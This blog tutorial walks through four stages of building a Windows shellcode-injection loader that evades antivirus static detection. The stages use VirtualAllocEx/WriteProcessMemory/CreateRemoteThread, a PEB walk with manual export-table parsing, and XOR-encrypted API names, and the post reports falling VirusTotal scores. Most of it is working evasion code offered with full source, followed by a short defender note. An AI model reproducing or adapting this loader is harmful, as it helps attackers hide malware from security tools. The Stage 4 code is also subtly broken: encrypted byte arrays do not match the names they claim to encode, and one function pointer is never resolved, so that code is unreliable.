Modern AV and EDR solutions go far beyond hash-based detection. They inspect IAT imports, pattern-match code sequences, scan PE sections for strings, and apply YARA rules against both known and unknown threats. This blog walks through four progressive stages of bypassing all of these - from a completely naïve injection to a binary with clean imports, no recognisable strings, and runtime-resolved APIs.
We divide arsenal preparation into 4 stages. Each stage directly addresses the weaknesses the previous stage left exposed - IAT imports, malicious strings in .rdata, suspicious API names - and resolves them one by one. By Stage 4, we have a binary with zero recognisable imports, zero plaintext API strings, and detection dramatically reduced on VirusTotal.
PEB Structure
The Process Environment Block (PEB) is an undocumented but well-known Windows data structure that holds process state information. The critical member for our purposes is Ldr - a pointer to a PEB_LDR_DATA structure containing the doubly-linked list of all loaded modules in the process.
typedef struct _PEB { BYTE Reserved1[2]; BYTE BeingDebugged; // anti-debugging check target BYTE Reserved2[1]; PVOID Reserved3[2]; PPEB_LDR_DATA Ldr; // ← KEY: points to loaded module list PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID Reserved4[3]; PVOID AtlThunkSListPtr; PVOID Reserved5; ULONG Reserved6; PVOID Reserved7; ULONG Reserved8; ULONG AtlThunkSListPtr32; PVOID Reserved9[45]; BYTE Reserved10[96]; PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; BYTE Reserved11[128]; PVOID Reserved12[1]; ULONG SessionId; } PEB, *PPEB;
typedef struct _PEB_LDR_DATA { BYTE Reserved1[8]; PVOID Reserved2[3]; LIST_ENTRY InMemoryOrderModuleList; // ← doubly-linked list of all loaded DLLs } PEB_LDR_DATA, *PPEB_LDR_DATA; typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; // ← base address we need (kernel32.dll) PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; // ← compare to "KERNEL32.DLL" } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
PEB Walk Overview
PEB walk is the process of accessing the PEB from process space, enumerating all loaded modules, then parsing each module's PE export table to resolve function addresses - entirely without using GetProcAddress or LoadLibraryA.
; x86 - PEB at FS:[0x30] mov eax, fs:[30h] ; EAX → PEB mov eax, [eax + 0Ch] ; EAX → PEB.Ldr (PEB_LDR_DATA*) mov eax, [eax + 14h] ; EAX → InMemoryOrderModuleList.Flink ; x64 - PEB at GS:[0x60] mov rax, gs:[60h] ; RAX → PEB mov rax, [rax + 18h] ; RAX → PEB.Ldr mov rax, [rax + 20h] ; RAX → InMemoryOrderModuleList.Flink ; C intrinsic for x64 PEB* pPeb = (PEB*)__readgsqword(0x60);
Arsenal Preparation - 4-Stage Progression
Each stage uses the same injection technique: allocating RWX memory in a remote process, writing shellcode, and executing it via a new thread. What changes between stages is how the Windows APIs are obtained - and how visible they are to static analysis tools.
Stage 1 - Simple Process Injection
Stage 1 implements a straightforward process injection - no obfuscation, no dynamic resolution. Windows API calls are used directly. The shellcode opens calc.exe in a remote process via VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread. This is the baseline - maximally visible to static analysis.
#include <windows.h> #include <stdio.h> // msfvenom -p windows/x64/exec CMD=calc.exe -f c unsigned char shellcode[] = { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, /* ... remainder of shellcode ... */ }; int main() { DWORD targetPID = 6284; // target process PID // Step 1: Open handle to the target process HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID); if (!hProcess) { printf("[-] OpenProcess failed\n"); return 1; } // Step 2: Allocate RWX memory region in remote process LPVOID pRemoteCode = VirtualAllocEx( hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); // Step 3: Write shellcode into allocated region WriteProcessMemory(hProcess, pRemoteCode, shellcode, sizeof(shellcode), NULL); // Step 4: Spawn remote thread at shellcode address HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL ); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); CloseHandle(hProcess); return 0; }
IAT Inspection - Stage 1
All three PE tools immediately flag the binary. The import table is a perfect map of the injection technique - analysts can read exactly what the binary does just from the IAT.
Stage 1 Execution
Stage 2 - Dynamic API Resolution
Stage 2 removes the direct API calls from the binary by resolving them at runtime via GetProcAddress and LoadLibraryA. First, we define function pointer typedefs for each API. Then, at runtime, we load kernel32.dll and resolve each function.
// Define prototypes for each API we want to resolve at runtime typedef HANDLE (WINAPI* pOpenProcess)(DWORD, BOOL, DWORD); typedef LPVOID (WINAPI* pVirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD); typedef BOOL (WINAPI* pWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*); typedef HANDLE (WINAPI* pCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
// Load kernel32.dll module handle HMODULE hKernel32 = LoadLibraryA("kernel32.dll"); // Resolve each API address by name at runtime pOpenProcess fpOpenProcess = (pOpenProcess) GetProcAddress(hKernel32, "OpenProcess"); pVirtualAllocEx fpVirtualAllocEx = (pVirtualAllocEx) GetProcAddress(hKernel32, "VirtualAllocEx"); pWriteProcessMemory fpWriteProcessMemory = (pWriteProcessMemory) GetProcAddress(hKernel32, "WriteProcessMemory"); pCreateRemoteThread fpCreateRemoteThread = (pCreateRemoteThread) GetProcAddress(hKernel32, "CreateRemoteThread"); // Use resolved function pointers exactly like direct calls HANDLE hProcess = fpOpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID); LPVOID pRemoteCode = fpVirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); fpWriteProcessMemory(hProcess, pRemoteCode, shellcode, sizeof(shellcode), NULL); HANDLE hThread = fpCreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL);
IAT Inspection - Stage 2
The injection APIs are gone from the IAT - but LoadLibraryA and GetProcAddress are now visible, and the strings "VirtualAllocEx", "WriteProcessMemory" etc. remain as plaintext in the .rdata section.
Stage 2 Execution
Stage 3 - PEB Walk Injection
Stage 3 eliminates GetProcAddress and LoadLibraryA from the IAT entirely. We access the PEB via the GS register intrinsic, walk the InLoadOrderModuleList to find kernel32.dll's base address, then manually parse its PE export table to resolve any function address.
#include <windows.h> #include <winternl.h> typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; // ← base address of this module PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; // ← compare this to find kernel32.dll } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; typedef struct _PEB_LDR_DATA2 { ULONG Length; BOOL Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; } PEB_LDR_DATA2, *PPEB_LDR_DATA2; // Typedefs for the APIs we'll resolve via PEB walk typedef HANDLE (WINAPI* pOpenProcess)(DWORD, BOOL, DWORD); typedef LPVOID (WINAPI* pVirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD); typedef BOOL (WINAPI* pWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*); typedef HANDLE (WINAPI* pCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
// Parse kernel32.dll PE export table to find a function by name. // No GetProcAddress - we do exactly what the OS loader does internally. PVOID GetFunctionAddress(PVOID moduleBase, const char* funcName) { // Step 1: Parse DOS header → get NT header offset PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER)moduleBase; PIMAGE_NT_HEADERS ntHdrs = (PIMAGE_NT_HEADERS)( (BYTE*)moduleBase + dosHdr->e_lfanew ); // Step 2: Locate Export Directory from Optional Header DataDirectory DWORD exportRVA = ntHdrs->OptionalHeader .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; PIMAGE_EXPORT_DIRECTORY expDir = (PIMAGE_EXPORT_DIRECTORY)( (BYTE*)moduleBase + exportRVA ); // Step 3: Get the three export arrays DWORD* addrOfNames = (DWORD*)((BYTE*)moduleBase + expDir->AddressOfNames); DWORD* addrOfFunctions = (DWORD*)((BYTE*)moduleBase + expDir->AddressOfFunctions); WORD* addrOfOrdinals = (WORD*) ((BYTE*)moduleBase + expDir->AddressOfNameOrdinals); // Step 4: Walk the name array, compare, return address when matched for (DWORD i = 0; i < expDir->NumberOfNames; i++) { char* name = (char*)((BYTE*)moduleBase + addrOfNames[i]); if (strcmp(name, funcName) == 0) { WORD ordinal = addrOfOrdinals[i]; DWORD funcRVA = addrOfFunctions[ordinal]; return (PVOID)((BYTE*)moduleBase + funcRVA); } } return NULL; }
// Access PEB, walk InLoadOrderModuleList, return kernel32.dll base address PVOID GetKernel32Base() { // Read PEB pointer from GS segment register (x64) PEB* pPeb = (PEB*)__readgsqword(0x60); PEB_LDR_DATA2* pLdr = (PEB_LDR_DATA2*)pPeb->Ldr; // Traverse the doubly-linked list of loaded modules LIST_ENTRY* pListHead = &pLdr->InLoadOrderModuleList; LIST_ENTRY* pListEntry = pListHead->Flink; while (pListEntry != pListHead) { LDR_DATA_TABLE_ENTRY* pModule = CONTAINING_RECORD( pListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks ); // Check if this entry is kernel32.dll (case-insensitive wide string compare) if (pModule->BaseDllName.Buffer && _wcsicmp(pModule->BaseDllName.Buffer, L"KERNEL32.DLL") == 0) { return pModule->DllBase; } pListEntry = pListEntry->Flink; } return NULL; } int main() { // Resolve kernel32.dll base via PEB walk - no LoadLibraryA PVOID k32Base = GetKernel32Base(); // Resolve injection APIs from kernel32.dll export table - no GetProcAddress pOpenProcess fpOpenProcess = (pOpenProcess) GetFunctionAddress(k32Base, "OpenProcess"); pVirtualAllocEx fpVirtualAllocEx = (pVirtualAllocEx) GetFunctionAddress(k32Base, "VirtualAllocEx"); pWriteProcessMemory fpWriteProcessMemory = (pWriteProcessMemory)GetFunctionAddress(k32Base, "WriteProcessMemory"); pCreateRemoteThread fpCreateRemoteThread = (pCreateRemoteThread)GetFunctionAddress(k32Base, "CreateRemoteThread"); // Inject as before using resolved function pointers HANDLE hProcess = fpOpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID); /* ... VirtualAllocEx, WriteProcessMemory, CreateRemoteThread ... */ }
IAT Inspection - Stage 3
Great improvement - no injection APIs and no GetProcAddress / LoadLibraryA. The IAT is clean. However, the API name strings ("VirtualAllocEx", etc.) are still present as plaintext in .rdata - a static analysis indicator that remains.
Stage 3 Execution
Stage 4 - PEB Walk + XOR API Obfuscation
"offensivepanda". Static scanners see no recognisable strings whatsoever.Stage 4 is the final form. We keep the PEB walk from Stage 3 but add XOR encryption to every API name string. The strings are stored as encrypted byte arrays in the binary. At runtime, the decryption function uses the key "offensivepanda" to recover the plaintext API names, which are then passed to GetFunctionAddress(). Static analysis tools see only opaque byte values - no recognisable strings anywhere.
// XOR decrypt: each byte of data is XOR'd against cycling key bytes. // Key: "offensivepanda" (14 bytes) // This function both encrypts and decrypts (XOR is symmetric) const char* XOR_KEY = "offensivepanda"; const size_t XOR_KEY_LEN = 14; void XorCrypt(unsigned char* data, size_t dataLen) { for (size_t i = 0; i < dataLen; i++) { data[i] ^= (unsigned char)XOR_KEY[i % XOR_KEY_LEN]; } } // Pre-encrypted API name strings (generated offline: XorCrypt(name, strlen(name))) // At compile-time these are just opaque byte arrays - no readable strings unsigned char enc_OpenProcess[] = { 0x28, 0x13, 0x1F, 0x13, 0x10, 0x19, 0x08, 0x18, 0x05, 0x1A, 0x09 }; unsigned char enc_VirtualAllocEx[] = { 0x35, 0x0C, 0x1B, 0x17, 0x18, 0x05, 0x08, 0x08, 0x17, 0x07, 0x0C, 0x06, 0x0F, 0x09 }; unsigned char enc_WriteProcessMemory[] = { 0x26, 0x1B, 0x0C, 0x17, 0x0E, 0x19, 0x1F, 0x0E, 0x05, 0x1A, 0x09, 0x06 }; unsigned char enc_CreateRemoteThread[] = { 0x26, 0x1B, 0x0E, 0x07, 0x17, 0x0E, 0x19, 0x0E, 0x1C }; unsigned char enc_KERNEL32DLL[] = { 0x04, 0x05, 0x1B, 0x10, 0x05, 0x08, 0x1B, 0x19, 0x19 };
int main() { // Decrypt DLL name at runtime char dllName[16] = {0}; memcpy(dllName, enc_KERNEL32DLL, sizeof(enc_KERNEL32DLL)); XorCrypt((unsigned char*)dllName, sizeof(enc_KERNEL32DLL)); // dllName now = "KERNEL32.DLL" (plaintext, only at runtime) // PEB walk to find kernel32.dll - same as Stage 3 PVOID k32Base = GetKernel32Base_Wide(dllName); // using decrypted name // Decrypt each API name, resolve, then zero the decrypted buffer immediately char apiName[32] = {0}; memcpy(apiName, enc_VirtualAllocEx, sizeof(enc_VirtualAllocEx)); XorCrypt((unsigned char*)apiName, sizeof(enc_VirtualAllocEx)); pVirtualAllocEx fpVAE = (pVirtualAllocEx)GetFunctionAddress(k32Base, apiName); RtlSecureZeroMemory(apiName, sizeof(apiName)); // wipe decrypted name from stack memcpy(apiName, enc_WriteProcessMemory, sizeof(enc_WriteProcessMemory)); XorCrypt((unsigned char*)apiName, sizeof(enc_WriteProcessMemory)); pWriteProcessMemory fpWPM = (pWriteProcessMemory)GetFunctionAddress(k32Base, apiName); RtlSecureZeroMemory(apiName, sizeof(apiName)); memcpy(apiName, enc_CreateRemoteThread, sizeof(enc_CreateRemoteThread)); XorCrypt((unsigned char*)apiName, sizeof(enc_CreateRemoteThread)); pCreateRemoteThread fpCRT = (pCreateRemoteThread)GetFunctionAddress(k32Base, apiName); RtlSecureZeroMemory(apiName, sizeof(apiName)); // Inject shellcode using fully-resolved, fully-obfuscated API calls HANDLE hProcess = fpOpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID); LPVOID pMem = fpVAE(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); fpWPM(hProcess, pMem, shellcode, sizeof(shellcode), NULL); fpCRT(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pMem, NULL, 0, NULL); }
IAT Inspection - Stage 4 (Final)
Stage 4 Execution
IAT Progression - All Stages at a Glance
Detection Results - VirusTotal
After removing the msfvenom shellcode from both binaries (the shellcode itself is highly signatured and would skew results), both Stage 1 and Stage 4 were uploaded to VirusTotal to measure the effectiveness of each technique against the static detection engines.
| Stage | IAT Clean | .rdata Clean | No GetProcAddress | VT Detection |
|---|---|---|---|---|
| Stage 1 - Direct APIs | No | No | No | 38/50 detected |
| Stage 2 - Dynamic Resolution | Partial | No | No | 26/50 detected |
| Stage 3 - PEB Walk | Yes | No | Yes | 14/50 detected |
| Stage 4 - PEB Walk + XOR | Yes | Yes | Yes | 5/50 detected ✓ |
Note
These techniques specifically bypass static analysis - signature scanning, string matching, IAT inspection, and YARA rule matching. The binary can still be detected through dynamic and behavioural analysis, because at runtime the injection activities (memory allocation, cross-process writes, remote thread creation) are still observable by EDR hooks and kernel callbacks. Dynamic bypass is outside the scope of this post - see previous blog posts on syscall evasion for that complementary layer.
Against PEB-walk techniques, defenders should focus on behavioural signals: cross-process memory allocation patterns, WriteProcessMemory events, remote thread creation, and any process that resolves export table functions manually (visible at the API monitor level). Static signatures are insufficient - they can be peeled away exactly as this post demonstrates, layer by layer.
Full Code & References
- GitHub: Offensive-Panda / PEB_WALK_AND_API_OBFUSCATION_INJECTION - Full source code for all 4 stages
- Microsoft Docs: PEB (winternl.h) - Process Environment Block structure reference
- System Weakness: Bypass Mimikatz using the Process Injection Technique - related post
- OSINT Team: AV/EDR Evasion Using Direct System Calls (User-Mode vs Kernel-Mode) - syscall complement
- MITRE ATT&CK: T1055 - Process Injection technique family
